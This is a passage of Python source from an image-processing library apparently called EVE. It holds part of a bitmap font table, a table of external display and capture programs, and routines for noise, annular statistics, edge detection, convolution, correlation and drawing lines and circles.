'a': [0x00,0x00,0x7f,0xc3,0xc3,0x7f,0x03,0xc3,0x7e,0x00,0x00,0x00,0x00],
'b': [0x00,0x00,0xfe,0xc3,0xc3,0xc3,0xc3,0xfe,0xc0,0xc0,0xc0,0xc0,0xc0],
'c': [0x00,0x00,0x7e,0xc3,0xc0,0xc0,0xc0,0xc3,0x7e,0x00,0x00,0x00,0x00],
'd': [0x00,0x00,0x7f,0xc3,0xc3,0xc3,0xc3,0x7f,0x03,0x03,0x03,0x03,0x03],
'e': [0x00,0x00,0x7f,0xc0,0xc0,0xfe,0xc3,0xc3,0x7e,0x00,0x00,0x00,0x00],
'f': [0x00,0x00,0x30,0x30,0x30,0x30,0x30,0xfc,0x30,0x30,0x30,0x33,0x1e],
'g': [0x7e,0xc3,0x03,0x03,0x7f,0xc3,0xc3,0xc3,0x7e,0x00,0x00,0x00,0x00],
'h': [0x00,0x00,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xfe,0xc0,0xc0,0xc0,0xc0],
'i': [0x00,0x00,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x00,0x00,0x18,0x00],
'j': [0x38,0x6c,0x0c,0x0c,0x0c,0x0c,0x0c,0x0c,0x0c,0x00,0x00,0x0c,0x00],
'k': [0x00,0x00,0xc6,0xcc,0xf8,0xf0,0xd8,0xcc,0xc6,0xc0,0xc0,0xc0,0xc0],
'l': [0x00,0x00,0x7e,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x78],
'm': [0x00,0x00,0xdb,0xdb,0xdb,0xdb,0xdb,0xdb,0xfe,0x00,0x00,0x00,0x00],
'n': [0x00,0x00,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0xfc,0x00,0x00,0x00,0x00],
'o': [0x00,0x00,0x7c,0xc6,0xc6,0xc6,0xc6,0xc6,0x7c,0x00,0x00,0x00,0x00],
'p': [0xc0,0xc0,0xc0,0xfe,0xc3,0xc3,0xc3,0xc3,0xfe,0x00,0x00,0x00,0x00],
'q': [0x03,0x03,0x03,0x7f,0xc3,0xc3,0xc3,0xc3,0x7f,0x00,0x00,0x00,0x00],
'r': [0x00,0x00,0xc0,0xc0,0xc0,0xc0,0xc0,0xe0,0xfe,0x00,0x00,0x00,0x00],
's': [0x00,0x00,0xfe,0x03,0x03,0x7e,0xc0,0xc0,0x7f,0x00,0x00,0x00,0x00],
't': [0x00,0x00,0x1c,0x36,0x30,0x30,0x30,0x30,0xfc,0x30,0x30,0x30,0x00],
'u': [0x00,0x00,0x7e,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0x00,0x00,0x00,0x00],
'v': [0x00,0x00,0x18,0x3c,0x3c,0x66,0x66,0xc3,0xc3,0x00,0x00,0x00,0x00],
'w': [0x00,0x00,0xc3,0xe7,0xff,0xdb,0xc3,0xc3,0xc3,0x00,0x00,0x00,0x00],
'x': [0x00,0x00,0xc3,0x66,0x3c,0x18,0x3c,0x66,0xc3,0x00,0x00,0x00,0x00],
'y': [0xc0,0x60,0x60,0x30,0x18,0x3c,0x66,0x66,0xc3,0x00,0x00,0x00,0x00],
'z': [0x00,0x00,0xff,0x60,0x30,0x18,0x0c,0x06,0xff,0x00,0x00,0x00,0x00],
'{': [0x00,0x00,0x0f,0x18,0x18,0x18,0x38,0xf0,0x38,0x18,0x18,0x18,0x0f],
'|': [0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18],
'}': [0x00,0x00,0xf0,0x18,0x18,0x18,0x1c,0x0f,0x1c,0x18,0x18,0x18,0xf0],
'~': [0x00,0x00,0x00,0x00,0x00,0x00,0x06,0x8f,0xf1,0x60,0x00,0x00,0x00]
}
#-------------------------------------------------------------------------------
# External programs that we invoke in routines.
#-------------------------------------------------------------------------------
# Some of EVE's functionality is provided by external programs, invoked wihin
# routines. For each function that is performed, the following table lists
# both the program name (used to find the executable) and a template for
# invoking the program.
# Within each template:
# %o_pgm represents a PGM-format input to the program produced by EVE
# %i_pgm represents a PGM-format image that needs to be read in
# and likewise for:
# %i_ppm and %o_ppm
# %i_png and %o_png
# %i_txt and %o_txt
# Note that NOT ALL ROUTINES currently use this mechanism, especially for image
# display and graph-plotting.
PROGRAMS = {
"display": [
["xv", "xv %o_pgm"],
["display", "display %o_pgm"],
["/Applicaions/Preview.app", "open -a /Applications/Preview.app %o_png"]
],
"grab image": [
["isightcapture", "isightcapture -t png %i_png"],
["imagesnap", "imagesnap -q -t png %i_png"],
["streamer", "streamer -q -f ppm -o %i_ppm"]
],
"grab screen": [
["screencapture", "screencapture -x -m %i_png"],
["shutter", "shutter -f -e -o %i_png"],
["scrot", "scrot %i_png"]
],
"sift": [
["sift", "sift %o_ppm -o %q_txt"]
],
# img2sixel is part of the "libsixel-bin" package in the Ubuntu world.
# On a Mac, "brew install libsixel" provides img2sixel.
"sixel display": [
["img2sixel", "img2sixel -p %d 2>/dev/null"] # a special case
],
"susan": [
["susan", "susan %o_pgm %i_pgm -c"]
],
"graph": [
["gnuplot", "gnuplot"]
],
}
#-------------------------------------------------------------------------------
def add_gaussian_noise (im, mean=0.0, sd=1.0, seed=None):
"""
Add Gaussian-distributed noise to each pixel of image `im`.
Arguments:
im the image to which noise will be added (modified)
mean the mean of the Gaussian-distributed noise (default: 0.0)
sd the standard deviation of the noise (default: 1.0)
seed if supplied, the value used to seed the random number generator
"""
if not seed is None: numpy.random.seed (seed)
im += numpy.random.normal (mean, sd, im.shape)
#-------------------------------------------------------------------------------
def annular_mean (im, y0=None, x0=None, rlo=0.0, rhi=None, alo=-math.pi,
ahi=math.pi):
"""
Return the mean of an annular region of image `im`.
Arguments:
im the image to be examined
y0 the y-value of the centre of the annulus (default: centre pixel)
x0 the x-value of the centre of the annulus (default: centre pixel)
rlo the inner radius of the annular region (default: the middle)
rhi the outer radius of the annular region (default: largest circle)
alo the lower angle of the annular region (default: -pi)
ahi the higher angle of the annular region (default: pi)
"""
# Fill in the default values as necessary.
im = reshape3 (im)
ny, nx, nc = sizes (im)
if y0 is None: y0 = ny / 2.0
if x0 is None: x0 = nx / 2.0
if rhi is None: rhi = math.sqrt ((nx - x0)**2 + (ny - y0)**2)
ave = num = 0.0
# Cycle through the image.
for y in range (0, ny):
yy = (y - y0)**2
for x in range (0, nx):
r = math.sqrt (yy + (x-x0)**2)
if r <= 0.0: angle = 0.0
else: angle = -math.atan2 (y-y0, x-x0)
for c in range (0, nc):
if angle >= alo and angle <= ahi and r >= rlo and r <= rhi:
ave += im[y,x,c]
num += 1
if num > 0: ave /= num
return ave
#-------------------------------------------------------------------------------
def annular_profile (im, y0=None, x0=None, rlo=0.0, rhi=None, alo=-math.pi,
ahi=math.pi):
"""
Return an array of the rotational means at one-pixel radial spacings
in an annular region of image `im`.
Arguments:
im the image to be examined
y0 the y-value of the centre of the rotation (default: centre pixel)
x0 the x-value of the centre of the rotation (default: centre pixel)
rlo the inner radius of the annular region
rhi the outer radius of the annular region
alo the lower angle of the annular region (default: -pi)
ahi the higher angle of the annular region (default: pi)
"""
# Fill in the default values as necessary.
im = reshape3 (im)
ny, nx, nc = sizes (im)
if y0 is None: y0 = ny / 2.0
if x0 is None: x0 = nx / 2.0
if rhi is None: rhi = math.sqrt ((nx - x0)**2 + (ny - y0)**2)
n = int (rhi + 1.0)
ave = numpy.zeros ((n))
num = numpy.zeros ((n))
# Cycle through the image.
for y in range (0, ny):
yy = (y - y0)**2
for x in range (0, nx):
r = math.sqrt (yy + (x-x0)**2)
if r <= 0.0: angle = 0.0
else: angle = -math.atan2 (y-y0, x-x0)
for c in range (0, nc):
if angle >= alo and angle <= ahi and r >= rlo and r <= rhi:
i = int (r - rlo)
ave[i] += im[y,x,c]
num[i] += 1
# Convert the sums into means.
for i in range (0, n):
if num[i] > 0: ave[i] /= num[i]
return ave
#-------------------------------------------------------------------------------
def annular_set (im, v, y0=None, x0=None, rlo=0.0, rhi=None, alo=-math.pi,
ahi=math.pi):
"""
Set an annular region of image `im` to value `v`.
Arguments:
im the image to be set (modified)
v value to which the region is to be set
y0 the y-value of the centre of the annulus (default: centre pixel)
x0 the x-value of the centre of the annulus (default: centre pixel)
rlo the inner radius of the annular region
rhi the outer radius of the annular region
alo the lower angle of the annular region (default: -pi)
ahi the higher angle of the annular region (default: pi)
"""
# Fill in the default values as necessary.
im = reshape3 (im)
ny, nx, nc = sizes (im)
if y0 is None: y0 = ny / 2.0
if x0 is None: x0 = nx / 2.0
if rhi is None: rhi = math.sqrt ((nx - x0)**2 + (ny - y0)**2)
# Cycle through the image.
for y in range (0, ny):
yy = (y - y0)**2
for x in range (0, nx):
r = math.sqrt (yy + (x-x0)**2)
if r <= 0.0: angle = 0.0
else: angle = -math.atan2 (y-y0, x-x0)
if angle >= alo and angle <= ahi and r >= rlo and r <= rhi:
im[y,x] = v
#-------------------------------------------------------------------------------
def binarize (im, threshold, below=False, bg=0.0, fg=max_image_value):
"""
Binarize an image, returning the result.
Arguments:
im image to be binarized
threshold the threshold to be used for binarization
below values below, rather than above, the threshold are foreground
bg value to which pixels at or below the threshold will be set
(default: 0.0)
fg value to which pixels equal to or above the threshold will
be set (default: max_image_value)
"""
bim = image (im)
set (bim, bg)
if below:
bim[numpy.where (im < threshold)] = fg
else:
bim[numpy.where (im >= threshold)] = fg
return bim
#-------------------------------------------------------------------------------
def blend_pixel (im, y, x, v, opac):
"""
Blend the value `v` into the pixel `im[y,x]` according to the
opacity `opac`.
Arguments:
im image in which the pixel is drawn (modified)
y y-position of the pixel to be modified
x x-position of the pixel to be modified
v new value to which the pixel is to be set
opac opacity with which the value will be drawn into the pixel
"""
ny, nx, nc = sizes (im)
if y >= 0 and y < ny and x >= 0 and x < nx:
if not isinstance (v, list): v = [v] * nc
for c in range (0, nc):
im[y,x,c] = v[c] * opac + (1.0 - opac) * im[y,x,c]
#-------------------------------------------------------------------------------
def bounding_box (im):
"""
Return the bounding box of a feature in binary image `im` as
`[ystart, xstart, ystop, xstop]`.
Arguments:
im image for which the bounding box is to be returned
"""
B = numpy.argwhere (im)
(ystart, xstart, junk), (ystop, xstop, junk) = B.min(0), B.max(0) + 1
return [ystart, xstart, ystop, xstop]
#-------------------------------------------------------------------------------
def canny (im, lo, hi):
"""
Perform edge detection in `im` using the Canny operator, returning the
result.
Arguments:
im image in which the edges are to be found
lo threshold below which edge segments are discarded
hi threshold above which edge segments are definitely edges
This routine is adapted from code originally written by
Zachary Pincus <zachary.pincus@yale.edu>.
"""
import scipy
import scipy.ndimage as ndimage
# Convert the EVE-format image into one compatible with scipy.
im = reshape3 (im)
ny, nx, nc = sizes (im)
if nc == 1: sci_im = im[:,:,0]
else: sci_im = mono(im)[:,:,0]
# The following filter kernels are for calculating the value of
# neighbours in the required directions.
_N = scipy.array ([[0, 1, 0],
[0, 0, 0],
[0, 1, 0]], dtype=bool)
_NE = scipy.array ([[0, 0, 1],
[0, 0, 0],
[1, 0, 0]], dtype=bool)
_W = scipy.array ([[0, 0, 0],
[1, 0, 1],
[0, 0, 0]], dtype=bool)
_NW = scipy.array ([[1, 0, 0],
[0, 0, 0],
[0, 0, 1]], dtype=bool)
# After quantizing the orientations of gradients, vertical
# (north-south) edges get values of 3, northwest-southeast edges get
# values of 2, and so on, as below.
_NE_d = 0
_W_d = 1
_NW_d = 2
_N_d = 3
grad_x = ndimage.sobel (sci_im, 0)
grad_y = ndimage.sobel (sci_im, 1)
grad_mag = scipy.sqrt (grad_x**2 + grad_y**2)
grad_angle = scipy.arctan2 (grad_y, grad_x)
# Scale the angles in the range [0,3] and then round to quantize.
quantized_angle = scipy.around (3 * (grad_angle + numpy.pi) \
/ (numpy.pi * 2))
# Perform non-maximal suppression. An edge pixel is only good if
# its magnitude is greater than its neighbours normal to the edge
# direction. We quantize the edge direction into four angles, so we
# only need to look at four sets of neighbours.
NE = ndimage.maximum_filter (grad_mag, footprint=_NE)
W = ndimage.maximum_filter (grad_mag, footprint=_W)
NW = ndimage.maximum_filter (grad_mag, footprint=_NW)
N = ndimage.maximum_filter (grad_mag, footprint=_N)
thinned = (((grad_mag > W) & (quantized_angle == _N_d )) |
((grad_mag > N) & (quantized_angle == _W_d )) |
((grad_mag > NW) & (quantized_angle == _NE_d)) |
((grad_mag > NE) & (quantized_angle == _NW_d)) )
thinned_grad = thinned * grad_mag
# Perform hysteresis thresholding: find seeds above the high
# threshold, then expand out until the line segment goes below the
# low threshold.
high = thinned_grad > hi
low = thinned_grad > lo
canny_edges = ndimage.binary_dilation (high, structure=scipy.ones((3,3)),
iterations=-1, mask=low)
# Convert the results back to an EVE-format image and return it.
ce = image ((ny,nx,1))
ce[:,:,0] = canny_edges[:,:] * max_image_value
return ce
#-------------------------------------------------------------------------------
def centroid (im, c=0):
"""
Return the centroid (centre of mass) of a channel of an image.
This routine is normally used on a binarized image (see binarize())
after labelling (see label_regions() and labelled_region()) to
locate the centres of regions.
Arguments:
im image for which the centroid is to be found
c channel to be examined (default: 0)
"""
m00 = m01 = m10 = 0.0
im = reshape3 (im)
ny, nx, nc = sizes (im)
for y in range (0, ny):
for x in range (0, nx):
m00 += im[y,x,c]
m10 += im[y,x,c] * y
m01 += im[y,x,c] * x
if m00 < tiny:
y = ny / 2.0
x = nx / 2.0
else:
y = m10 / m00
x = m01 / m00
return [y, x]
#-------------------------------------------------------------------------------
def clip (im, lo, hi):
"""
Ensure all pixels in an image are in the range lo to hi.
Arguments:
im the image to be clipped (modified)
lo the lowest value to be in the image after clipping
hi the highest value to be in the image after clipping
"""
numpy.clip (im, lo, hi, out=im)
#-------------------------------------------------------------------------------
def compare (im1, im2, tol=tiny, report=20, indent=' ', fd=sys.stdout):
"""
Compare two images, reporting up to report pixels that differ.
The routine returns the number of differences found.
Arguments:
im1 image to be compared with im2
im2 image to be compared with im1
tol minimum amount by which pixels must differ (default: eve.tiny)
report the maximum number of differences reported (default: 20)
(the presence of further differences is indicated by '...')
indent indentation output before a difference (default: ' ')
fd file on which the output is to be written (default: sys.stdout)
"""
im1 = reshape3 (im1)
ny, nx, nc = sizes (im1)
ndiffs = 0
diffs = []
for y in range (0, ny):
for x in range (0, nx):
for c in range (0, nc):
if abs (im1[y,x,c] - im2[y,x,c]) > tol:
ndiffs += 1
if ndiffs <= report:
diffs.append ([y,x,c])
if ndiffs > 0 and report > 0:
if ndiffs == 1:
print (ndiffs, 'difference found:', file=fd)
else:
print (ndiffs, 'differences found:', file=fd)
for d in range (0, len(diffs)):
y,x,c = diffs[d]
print (indent, y,x,c, '->', im1[y,x,c], '&', im2[y,x,c], file=fd)
if ndiffs > report:
print (indent, '...', file=fd)
return ndiffs
#-------------------------------------------------------------------------------
def compare_lists (l1, l2, tol):
"""Compare a pair of lists, element by element, returning the number
of differences found."""
n1 = len (l1)
n2 = len (l2)
if n1 == n2:
ndiff = 0
for i in range (0, n1):
if abs (l1[i] - l2[i]) > tol:
ndiff += 1
else:
ndiff = abs (n1 - n2)
return ndiff
#-------------------------------------------------------------------------------
def contrast_stretch (im, low=0.0, high=max_image_value):
"""
Stretch the contrast in the image to the supplied low and high values.
Arguments:
im image whose contrast is to be stretched (modified)
low new value to which the lowest value in im is to be scaled
(default: 0.0)
high new value to which the highest value in im is to be scaled
(default: max_image_value)
"""
oldmin, oldmax = extrema (im)
fac = (high - low) / (oldmax - oldmin)
# For some reason, the following line doesn't work but the subsequent
# three do!
# im = (im - oldmin) * fac + low
im -= oldmin
im *= fac
im += low
#-------------------------------------------------------------------------------
def convolve (im, mask, statistic='sum'):
"""
Perform a convolution of im with mask, returning the result.
Arguments:
im the image to be convolved with mask (modified)
mask the convolution mask to be used
statistic one of:
sum conventional convolution
mean conventional convolution
median median filtering
min grey-scale shrink (reduces light areas)
max grey-scale expand (enlarges light areas)
"""
im = reshape3 (im)
ny, nx, nc = sizes (im)
mask = reshape3 (mask)
my, mx, mc = sizes (mask)
yo = my // 2
xo = mx // 2
# Create an output image of the same size as the input.
result = image (im)
# We need a special case for 'min' statistic to erase the mask elements
# that are zero.
nzeros = len ([x for x in mask.ravel() if x == 0])
# Loop over the pixels in the image. For each pixel position, multiply
# the region around it with the mask, summing the elements and storing
# that in the equivalent pixel of the output image.
v = numpy.zeros ((my*mx*mc))
vi = 0
for yi in range (0, ny):
for xi in range (0, nx):
for ym in range (0, my):
yy = (ym + yi - yo) % ny
for xm in range (0, mx):
xx = (xm + xi - xo) % nx
v[vi] = im[yy,xx,0] * mask[ym,xm,0]
vi += 1
if statistic == 'sum':
ave = numpy.sum (v)
elif statistic == 'mean':
ave = numpy.mean (v)
elif statistic == 'max':
ave = numpy.max (v)
elif statistic == 'min':
v = sorted (v)
ave = numpy.min (v[nzeros:])
elif statistic == 'median':
ave = numpy.median (v)
result[yi,xi,0] = ave
vi = 0
return result
#-------------------------------------------------------------------------------
def copy (im):
"""
Copy the pixels from image 'im' into a new image, which is returned.
Arguments:
im the image to be copied
"""
return im.copy ()
#-------------------------------------------------------------------------------
def correlate (im1, im2):
"""
Return the unnormalized Fourier correlation surface between two
images.
Arguments:
im1 image to be correlated with im2
im2 image to be correlated with im1
"""
# Work out how big the images need to be to avoid aliasing.
ny1, nx1, nc1 = sizes (im1)
ny2, nx2, nc2 = sizes (im2)
if nc1 != nc2:
raise ValueError ('Images need to have the same number of channels.')
ny = max (ny1, ny2)
nx = max (nx1, nx2)
# Transform the two images.
temp1 = fourier (im1)
temp2 = fourier (im2)
# Create a pair of double-sized images and insert the transforms into them
# so that their zero frequencies are in the middle.
ft1 = image ((ny*2, nx*2, nc1), type=temp1.dtype)
ft2 = image ((ny*2, nx*2, nc1), type=temp2.dtype)
insert (ft1, temp1, ny, nx)
insert (ft2, temp2, ny, nx)
# Multiply one with the conjugate of the other and Fourier transform back.
ft1 *= numpy.conjugate (ft2)
res = fourier (ft1, forward=False)
# Return the result.
return res
#-------------------------------------------------------------------------------
def correlation_coefficient (im1, im2):
"""
Return the correlation coefficient between two images.
Arguments:
im1 image to be correlated with im2
im2 image to be correlated with im1
"""
im1 = reshape3 (im1)
ny, nx, nc = sizes (im1)
im2 = reshape3 (im2)
sumx = sumy = sumxx = sumyy = sumxy = 0.0
for y in range (0, ny):
for x in range (0, nx):
for c in range (0, nc):
v1 = im1[y,x,c]
v2 = im2[y,x,c]
sumx += v1
sumy += v2
sumxx += v1 * v1
sumxy += v1 * v2
sumyy += v2 * v2
n = ny * nx * nc
v1 = sumxy - sumx * sumy / n
v2 = math.sqrt((sumxx-sumx*sumx/n) * (sumyy-sumy*sumy/n))
return v1 / v2
#-------------------------------------------------------------------------------
def count_pixels (im, v):
"""
Return the number of pixels having the value 'v'.
Arguments:
im image to be searched
v value to be looked for
"""
# This is equivalent to:
# im = reshape3 (im)
# ny, nx, nc = sizes (im)
# count = 0
# for y in range (0, ny):
# for x in range (0, nx):
# for c in range (0, nc):
# if im[y,x,c] == v: count += 1
count = len (numpy.where (im == v)[0])
return count
#-------------------------------------------------------------------------------
def covariance_matrix (im):
"""
Return the covariance matrix and means of the channels of im.
Arguments:
im image for which the covariance matrix is to be calculated
"""
im = reshape3 (im)
ny, nx, nc = sizes (im)
covmat = numpy.ndarray ((nc, nc))
ave = numpy.ndarray ((nc))
for c in range (0, nc):
ch = get_channel (im, c)
ave[c] = mean (ch)
for c1 in range (0, nc):
ch1 = get_channel (im, c1)
for c2 in range (0, c1+1):
ch2 = get_channel (im, c2)
covmat[c1,c2] = ((ch1 - ave[c1]) * (ch2 - ave[c2])).mean()
covmat[c2,c1] = covmat[c1,c2]
return covmat, ave
#-------------------------------------------------------------------------------
def cumulative_histogram (im, bins=64, limits=None, disp=False):
"""
Find the cumulative histogram of an image.
Arguments:
im image for which the cumulative histogram is to be found
bins number of bins in the histogram (default: 64)
limits extrema between which the histogram is to be found
disp when True, the histogram will be drawn
"""
a, h = histogram (im, bins=bins, limits=limits, disp=False)
h = h.cumsum ()
if disp: graph (a, h, 'Cumulative histogram', 'bin', 'number of pixels',
style='histogram')
return a, h
#-------------------------------------------------------------------------------
def closing (im, mask):
"""
Perform a morphological closing on `im` with `mask`, returning the result.
Arguments:
im image to be processed
mask mask image
"""
expanded = expand (im, mask)
return shrink (expanded, mask)
#-------------------------------------------------------------------------------
def describe (im):
"""
Return a set of descriptors for each region of a labelled image.
Arguments:
im labelled image whose regions are to be described
"""
im = reshape3 (im)
# Compute the areas of all the regions.
unique, counts = numpy.unique (im, return_counts=True)
info = {}
nr = len (unique)
# Now look at each region in turn.
for i in range (1, nr):
# Store away the area.
info[i] = {"area": counts[i]}
# The perimeter.
reg = labelled_region (im, i)
perimeter (reg)
info[i]["perimeter"] = count_pixels (reg, 255)
# The axis-aligned bounding box.
info[i]["BouBox"] = bounding_box (reg)
# The oriented bounding box.
info[i]["OriBouBox"] = oriented_bounding_box (reg)
return info
#-------------------------------------------------------------------------------
def draw_border (im, v=max_image_value, width=2):
"""
Draw a border around an image.
Arguments:
im image to which the border is to be added (modified)
v value to which the border is to be set (default: max_image_value)
width width of the border in pixels (default: 2)
"""
im = reshape3 (im)
ny, nx, nc = sizes (im)
im[0:width,:,:] = v # top
im[ny-width-1:ny,:,:] = v # bottom
im[:,0:width,:] = v # left
im[:,nx-width-1:nx,:] = v # right
#-------------------------------------------------------------------------------
def draw_box (im, ylo, xlo, yhi, xhi, border=max_image_value, fill=None):
"""
Draw a rectangular box, optionally filled.
Arguments:
im image in which the box is to be drawn (modified)
ylo y-value of the lower left corner of the box
xlo x-value of the lower left corner of the box
yhi y-value of the upper right corner of the box
xhi x-value of the upper right corner of the box
border value used for drawing the box (default: max_image_value)
fill value with which the inside of the box is to be filled
(default: None, meaning it is unfilled)
"""
im = reshape3 (im)
draw_line_fast (im, ylo, xlo, ylo, xhi, border)
draw_line_fast (im, ylo, xhi, yhi, xhi, border)
draw_line_fast (im, yhi, xhi, yhi, xlo, border)
draw_line_fast (im, yhi, xlo, ylo, xlo, border)
if not fill is None:
set_region (im, ylo+1, xlo+1, yhi, xhi, fill)
#-------------------------------------------------------------------------------
def draw_circle (im, yc, xc, r, v, fast=True, fill=None, threshold=20):
"""
Draw a circle with value v of radius r centred on (xc, yc) in image im.
Arguments:
im image upon which the circle is to be drawn (modified)
yc y-value (row) of the centre of the circle
xc x-value (column) of the centre of the circle
r radius of he circle in pixels
v value to which pixels forming the circle are set
fast draw a circle using Bresenham's algorithm, which aliases,
or Wu's algorithm, which doesn't (default: True)
fill value with which the inside of the circle is to be filled
(default: None, meaning it is unfilled)
threshold value used to distinguish pixels on the circle from
surrounding ones, passed on into fill_outline (default: 20)
"""
if fast:
draw_circle_fast (im, yc, xc, r, v, fill=None)
else:
draw_circle_aa (im, yc, xc, r, v, fill=fill, threshold=threshold)
#-------------------------------------------------------------------------------
def draw_circle_aa (im, yc, xc, r, v, fill=None, threshold=20):
"""
Draw an anti-aliased circle with value v of radius r centred on
(xc, yc) in image im.
Arguments:
im image upon which the circle is to be drawn (modified)
yc y-value (row) of the centre of the circle
xc x-value (column) of the centre of the circle
r radius of he circle in pixels
v value to which pixels forming the circle are set
fill value with which the inside of the circle is to be filled
(default: None, meaning it is unfilled)
threshold value used to distinguish pixels on the circle from
surrounding ones, passed on into fill_outline (default: 20)
The circle is anti-aliased, using an algorithm due to Xiaolin Wu
(published in "Graphics Gems II"). Although fairly fast, it is slower
than Bresenham's algorithm, used in the routine draw_circle_fast, and
paints a range of values into the image; if it is important that all
pixels of the line have the value v, use draw_circle_fast.
The implementation was adapted from the PHP code in
http://mapidev.blogspot.com/2009/03/xiaolin-wu-circle-php-implementation.html
"""
im = reshape3 (im)
x = xx = r
y = yy = -1
t = 0
while x > y:
y += 1
d = math.sqrt (r**2 - y**2)
opac = int (d + 0.5) - d
if opac < t: x -= 1
trans = 1.0 - opac
im[yc+y, xc+x] = v
blend_pixel (im, y + yc, x + xc - 1, v, trans)
blend_pixel (im, y + yc, x + xc + 1, v, opac)
im[yc+x, xc+y] = v
blend_pixel (im, x + yc - 1, y + xc, v, trans)
blend_pixel (im, x + yc + 1, y + xc, v, opac)
im[yc+y, xc-x] = v
blend_pixel (im, y + yc, xc - x + 1, v, trans)
blend_pixel (im, y + yc, xc - x - 1, v, opac)
im[yc+x, xc-y] = v
blend_pixel (im, x + yc - 1, xc - y, v, trans)
blend_pixel (im, x + yc + 1, xc - y, v, opac)
im[yc-y, xc+x] = v
blend_pixel (im, yc - y, x + xc - 1, v, trans)
blend_pixel (im, yc - y, x + xc + 1, v, opac)
im[yc-x, xc+y] = v
blend_pixel (im, yc - x - 1, y + xc, v, opac)
blend_pixel (im, yc - x + 1, y + xc, v, trans)
im[yc-x, xc-y] = v
blend_pixel (im, yc - x - 1, xc - y, v, opac)
blend_pixel (im, yc - x + 1, xc - y, v, trans)
im[yc-y, xc-x] = v
blend_pixel (im, yc - y, xc - x - 1, v, opac)
blend_pixel (im, yc - y, xc - x + 1, v, trans)
t = opac
if not fill is None: fill_outline (im, yc, yc, v)
#-------------------------------------------------------------------------------
def draw_circle_fast (im, yc, xc, r, v, fill=None):
"""
Draw a circle with value v of radius r centred on (xc, yc) in image im.
Arguments:
im image upon which the circle is to be drawn (modified)
yc y-value (row) of the centre of the circle
xc x-value (column) of the centre of the circle
r radius of he circle in pixels
v value to which pixels forming the circle are set
fill value with which the inside of the circle is to be filled
(default: None, and so is unfilled)
threshold value used to distinguish pixels on the circle from
surrounding ones, passed on into fill_outline (default: 20)
"""
im = reshape3 (im)
x = 0
y = r
p = 3 - 2 * r
ny, nx, nc = sizes (im)
while x < y:
im[yc+y,xc+x] = v
im[yc+y,xc-x] = v
im[yc-y,xc+x] = v
im[yc-y,xc-x] = v
im[yc+x,xc+y] = v
im[yc+x,xc-y] = v
im[yc-x,xc+y] = v
im[yc-x,xc-y] = v
if p < 0:
p += 4 * x + 6
else:
p += 4 * (x - y) + 6
y -= 1
x += 1
if x == y:
im[yc+y,xc+x] = v
im[yc+y,xc-x] = v
im[yc-y,xc+x] = v
im[yc-y,xc-x] = v
im[yc+x,xc+y] = v
im[yc+x,xc-y] = v
im[yc-x,xc+y] = v
im[yc-x,xc-y] = v
if not fill is None: fill_outline (im, yc, xc, v)
#-------------------------------------------------------------------------------
def draw_line (im, y0, x0, y1, x1, v, fast=True):
"""
Draw a line from (x0, y0) to (x1, y1) with value v in image im.
Arguments:
im image upon which the line is to be drawn (modified)
y0 y-value (row) of the start of the line
x0 x-value (column) of the start of the line
y1 y-value (row) of the end of the line
x1 x-value (column) of the end of the line
v value to which pixels on the line are to be set
fast draw the line using Bresenham's algorithm, which aliases,
or Wu's algorithm, which doesn't (default: True)
"""
if fast:
draw_line_fast (im, y0, x0, y1, x1, v)
else:
draw_line_aa (im, y0, x0, y1, x1, v)
#-------------------------------------------------------------------------------
def draw_line_aa (im, y0, x0, y1, x1, v):
"""
Draw an anti-aliased line from (x0, y0) to (x1, y1) with value v
in image im.
Arguments:
im image upon which the line is to be drawn (modified)
y0 y-value (row) of the start of the line
x0 x-value (column) of the start of the line
y1 y-value (row) of the end of the line
x1 x-value (column) of the end of the line
v value to which pixels on the line are to be set
The line is anti-aliased, using an algorithm due to Xiaolin Wu ("An
Efficient Antialiasing Technique", Computer Graphics July 1991); the
code is a corrected version of that in the relevant Wikipedia entry.
The algorithm draws pairs of pixels straddling the line, coloured
according to proximity; pixels at the line ends are handled
separately. Although fairly fast, it is slower than Bresenham's
algorithm and paints a range of values into the image; if it is
important that all pixels of the line have the value v, there is a
separate routine, draw_line_fast, which implements Bresnham's
algorithm.
"""
im = reshape3 (im)
if abs(y1 - y0) > abs(x1 - x0): steep = True
else: steep = False
if steep:
y0, x0 = x0, y0
y1, x1 = x1, y1
if x0 > x1:
x1, x0 = x0, x1
y1, y0 = y0, y1
dx = x1 - x0 + 0.0
dy = y1 - y0
if dx == 0.0: de = 1.0e30
else: de = dy / dx
# Handle the first end-point.
xend = int (x0 + 0.5)
yend = y0 + de * (xend - x0)
xgap = 1.0 - (x0 + 0.5 - int(x0 + 0.5))
xpxl1 = int (xend) # this will be used in the main loop
ypxl1 = int (yend)
if steep:
blend_pixel (im, xpxl1, ypxl1, v, 1.0 - (yend - int(yend)))
blend_pixel (im, xpxl1, ypxl1+1, v, yend - int(yend))
else:
blend_pixel (im, ypxl1, xpxl1, v, 1.0 - (yend - int(yend)))
blend_pixel (im, ypxl1+1, xpxl1, v, yend - int(yend))
intery = yend + de # first y-intersection for the main loop
# Handle the second end-point.
xend = int (x1 + 0.5)
yend = y1 + de * (xend - x1)
xgap = x1 + 0.5 - int(x1 + 0.5)
xpxl2 = int (xend) # this will be used in the main loop
ypxl2 = int (yend)
if steep:
blend_pixel (im, xpxl2, ypxl2, v, 1.0 - (yend - int (yend)))
blend_pixel (im, xpxl2, ypxl2+1, v, yend - int(yend))
else:
blend_pixel (im, ypxl2, xpxl2, v, 1.0 - (yend - int (yend)))
blend_pixel (im, ypxl2+1, xpxl2, v, yend - int(yend))
# The main loop.
for x in range (xpxl1+1, xpxl2):
if steep:
blend_pixel (im, x, int (intery), v,
math.sqrt(1.0 - (intery - int(intery))))
blend_pixel (im, x, int (intery)+1, v,
math.sqrt (intery - int(intery)))
else:
blend_pixel (im, int (intery), x, v,
math.sqrt(1.0 - (intery - int(intery))))
blend_pixel (im, int (intery)+1, x, v,
math.sqrt(intery - int(intery)))
intery += de
#-------------------------------------------------------------------------------
def draw_line_fast (im, y0, x0, y1, x1, v):
"""Draw a line from (x0, y0) to (x1, y1) with value v in image im.
Arguments:
im image upon which the line is to be drawn (modified)
y0 y-value (row) of the start of the line
x0 x-value (column) of the start of the line
y1 y-value (row) of the end of the line
x1 x-value (column) of the end of the line
v value to which pixels on the line are to be set
This routine uses the classic line-drawing due to Bresenham, which
